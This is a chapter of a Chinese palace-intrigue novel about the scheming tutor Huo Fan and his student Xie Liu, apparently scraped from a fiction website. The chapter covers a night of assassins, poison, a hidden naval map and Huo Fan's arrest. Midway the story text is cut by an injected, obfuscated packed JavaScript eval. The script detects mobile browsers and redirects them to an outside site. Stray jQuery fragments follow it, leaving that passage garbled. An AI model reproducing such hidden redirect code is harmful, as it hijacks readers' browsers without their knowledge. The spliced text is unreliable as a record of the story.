暮夜沉沉，霍凡酒醒后神色添了几分落寞和冷淡，手中杯盏的茶汤发着烫。


    案几的纸卷功课散落，谢柳皱了皱眉，展开提笔在各世家里剖析出利弊来，且据族氏每个人的举动推算出所行为何，她的墨字批注细密，就像把提及的人尽收眼底。


    她忽而想起他刚入府的时候，一副恹恹态，腰间随身系的是酒葫芦，浑身上下半点没有世家长公子的模样。


    大抵真的被伤得很深。


    “解絮。”霍凡突然出声，“你此去，不必多有顾忌什么，若有需要，可以连同我亦算计在内。”


    谢柳收了笔，说：“夫子，学生有疑，您当年帮顾衡推波助澜，使墨家满门忠良被灭，可有怜过那位四小姐？她也曾是您的弟子。”


    霍凡淡淡道：“太岁爷上不动土，霍家既已与太尉缔结为盟，自然不到紧要关头，谁也不松口谁。你作为我的弟子，也是如此。太尉只出了一个女儿家，你将是我最后一个弟子。”


    “解絮，拿好你手里的刀。”他又顾自斟满了一盏茶，“别让它伤了自己，别手下留情。”


    “墨夫子知道吗？她的弟弟，其实还活着。”谢柳抬眼，替霍凡饮完，“夫子，您手中的棋太多了，就不怕溅血落己身吗？毕竟白日里您是颓废萎靡的落英，可一入夜，您就是运筹帷幄的下棋之人。”


    霍凡面容平静，道：“若我回回都怕，那岂非未见敌手就先不战而退了？”


    残茶在盏中泛起涟漪，他指尖摩挲着盏底。


    此时烛火在霍凡眼底投下跳动的暗影，将那道悬胆鼻梁的轮廓削得更显嶙峋。他轻笑一声，从袖中摸出个白玉棋子，在案几上轻轻一叩。


    “你既知晓墨家幼子尚存，可曾算过自己还剩几枚活棋？”


    棋子落处，压住谢柳批注的"顾"字，墨迹未干的纸面洇开细小波纹，像极了十二年前墨家老宅那池被血染红的春水。


    谢柳搁笔时带起一缕墨香，她将镇纸挪到砚台边沿，道：“夫子当年在墨家祠堂教四小姐点茶，用的可是这套青瓷茶具？”


    霍凡斟茶的手腕蓦地凝滞，滚水撞在瓯壁上激出清越声响，他淡淡道：“茶器不过是器物。”


    茶盏被推过，水面浮着片蜷曲的茗叶，“就像棋子，用旧了总该换新的。”


    谢柳注意到他尾指上的扳指不见了，取而代之的是玄铁指环。


    更深露重，穿堂风掀起谢柳批注的纸页。


    霍凡起身推开槛窗，月光泼进来，为他镀上清霜，“你既已查到墨家遗孤，不妨再往幽州走一趟。”


    他倚着窗棂轻笑，笑意未达眼底，“顾衡的人三日前劫了太尉府的贡船，而船上有你要的东西。我知道谢家的千金小姐从未出过远门，所以嘱咐你万事小心，倘若生变，你得自己应对，这就是为师要考你的。”


    谢柳猛地抬头，笔尖墨渍滴在‘顾’字上，晕开一片。


    她想起霍凡告诉她的，他手底下的人曾于半月前潜入顾府密室时，在暗格里摸到的那枚长命锁，银锁背面刻着‘墨氏幼安’，锁芯里藏着半片染血的天工谱。


    “夫子是要学生做捕蝉的螳螂，还是得利的黄雀？”


    她将笔倒插回砚台，砚台上所雕的螭龙硌得掌心发疼，十二年前霍凡就是用这支笔，在墨家灭门的奏章上批了个‘准’字。


    霍凡解下腰间酒葫芦仰头饮尽，酒液顺着下颌滑入衣领，他剧烈咳嗽起来，苍白的脸颊泛着潮红。谢柳下意识去扶，却被他袖中滑出的玉佩冰了手，那玉佩雕琢的纹样，正是墨四小姐生前从不离身的旧物。


    “解絮啊……”


    他喘匀了气，手掌抚过玉佩裂痕，“这局棋最妙处，在于执子之人亦在盘中。”


    夜枭啼叫声撕碎了原本的寂静，霍凡袖袍挥展，三枚柳叶镖钉入梁柱，镖尾红缨犹颤，截住一滴将落的烛泪。


    谢柳瞳孔一震，她竟未察觉房梁上有人。


    月光偏移的刹那，她瞥见镖身上刻着的顾氏族徽，正与长命锁上的纹饰如出一辙。


    “瞧，黄雀这不就来了。”霍凡漫不经心地拔下柳叶镖，刃口在掌心拖出血线，他将染血的镖尖点在谢柳刚写就的‘局’字上，墨迹霎时化作狰狞的爪牙。


    “明日启程时，记得带上我书房那套点茶器。”


    夜半打更人敲鼓的声遥遥传来，谢柳整理散落的纸张时，发现最底下压着张泛黄的信。


    蝇头小楷写着‘四月初八，墨池莲开’，正是霍凡的字迹。而信纸边缘，染着抹淡到几乎消散的胭脂色，像极了世家小姐最爱用的口脂。


    霍凡已倚在窗前阖目养神，月光将他影子拉得细长，好似孤零零地横在满地棋局之上。


    谢柳忽然就想起他亲口说的那句话：棋差一着，满盘皆落索。


    可若是执棋人甘愿赴死，这局又当如何？


    霍凡倏然睁眼时，谢柳已经执笔架住破窗而来的链刃。


    剑拔弩张的火药味迸溅在砚池，将半池宿墨灼成殷红，她旋身扯落帐幔缠住刺客手腕，布料撕裂声里忽听得霍凡轻笑：“顾家豢养的夜枭，倒是比当年迟钝三分。”


    黑衣人闻言急得招式骤乱，链刃扫翻案上烛台，霍凡广袖翻卷接住将倾的灯盏，滚烫的蜡油淋在他手背，他竟恍若未觉。


    谢柳趁机挑飞对方面巾，露出一张布满难看刺青的脸，幽州巫族的蛇形图腾从额角蜿蜒至颈侧。


    “太尉连沧溟水师都舍得给你。”


    霍凡捻着蜡油，在窗棂上画了道扭曲的符文，“可惜这傀儡蛊，养得火候差了些。”


    在符文完成的刹那，刺客突然发出非人的嘶吼，七窍中钻出无数碧色小蛇。


    谢柳疾退三步，袖中银针连发，将毒蛇钉死在青砖地上。腥臭弥漫间，霍凡已擒住刺客咽喉，玄铁指环扣在对方命门：“回去告诉顾衡，墨家天工谱的残卷，我替他收在四小姐牌位前了。人是我杀的，他若真怜惜墨家或觉得对不起墨轻竹，还是提头来见比较有诚意。”


    骨裂声清脆响起，黑衣人如断线木偶般瘫软在地。


    霍凡嫌弃地皱了皱眉，他拿帕子拭手时，谢柳看见他掌纹里渗着漆色的蛊毒。


    “夫子早就知道今夜有刺？”


    她话音未落，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070417|163173||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霍凡突然踉跄着撑住案几，呕出的乌血染渗过了散落的纸页。


    “解絮，去取……取我枕下的解药。”


    他有些上不来气，只顾着扯开衣襟，心口处浮现诡异的蛇鳞纹。谢柳掀开绣枕时，发现下面压着幅未完成的工笔，依稀是墨四小姐执伞立在莲池畔，题着‘戊辰年，与阿宁对弈偶得’。


    解药里盛着浓稠的药汁，霍凡饮尽后鳞纹渐褪，眼尾却泛起一抹红。


    “十二年前顾衡在墨家祠堂下的蛊，终究是藏不住了。”他抚着画中人持的伞，伞面所绘的并蒂莲正在龟裂，“当年阿宁若是肯用天工谱换命……”


    谢柳伸手按住画卷，正压在题款处，“戊辰年四月初八，墨池莲开，这才是夫子真正的杀招吧？”


    她抽出发间银簪挑开裱纸，夹层里赫然是半张海防图，标注着沧溟水师的布阵弱点。


    霍凡低笑出声，咳出的血溅在海防图边缘：“顾衡以为灭墨家满门便能得天工谱，换来官位加身，却不知真正的杀器，是阿宁记在桃花笺上的沧溟潮汐。”


    他推开窗任暴雨迎面，凛冽而下，“明日你带着海防图南下，自会有人给你看另半幅残卷。”


    谢柳攥紧发簪，念着的佛珠串突然断裂开来，血似的珠子滚进满地狼藉。


    “若学生猜得不错，另半幅该在墨家幼子身上？”她盯着霍凡后颈犹在若隐若现的鳞片，“只是不知当年亲手将天工谱交给顾衡的夫子，如今又要以何面目去见墨家遗孤？”


    惊雷劈开夜幕，照见霍凡眼底翻涌的痛楚，他反手扯落腰间玉佩掷向谢柳，道：“把这物件交给幽州驿馆的眼盲琴师，他会给你想要的东西。”


    玉佩入手冰凉，裂缝中渗出淡淡的一抹香，与谢柳在顾府密室闻到的气息一模一样。


    雨中蓦得传来纷沓脚步声，霍凡突然握住谢柳手腕按向自己心口，肌肤相触的刹那，她摸到了旧年在他身上留下的狰狞旧疤。


    “记住，顾衡当年没找到的天工谱第三卷，藏在水师战船的龙骨里。”他唇色愈发青紫，声音却很温柔，“若我活不到你归来那日……咳！那就把我和阿宁的画烧在墨池。至少，让我知道还有她是同路人，总归黄泉路不算太寂寞。”


    门于此时被人轰然推开，太尉府亲卫的火把照亮雨帘，霍凡猛地推开谢柳，转身时又是那副醉眼迷离的模样：“诸位夜闯霍府，莫不是要来讨杯残酒？”


    他晃着空酒葫芦倚在门边，水珠顺着散乱的发梢滴落，在石砖上汇成蜿蜒的溪痕。


    谢柳隐在暗处，看着亲卫统领手中可以调动禁军的虎头符，立刻就明白了霍凡为何要她此刻南下。因那暴雨中的太尉府亲卫，怕是来押人而非护主的。


    “霍公子，太尉有请。”统领抬手示意，身后士卒亮出镣铐，“顾大人在幽州遇袭，现场留着你霍家的柳叶镖。”


    霍凡仰头灌下最后一口酒，任由镣铐锁住手腕，经过谢柳藏身的屏风时，他忽然哼起荒诞走板的渔歌，调子正是墨四小姐当年在莲池采菱时常唱的。


    谢柳握紧了玉佩，在曲声转折处听出四个字：潮生阁，卯时三刻。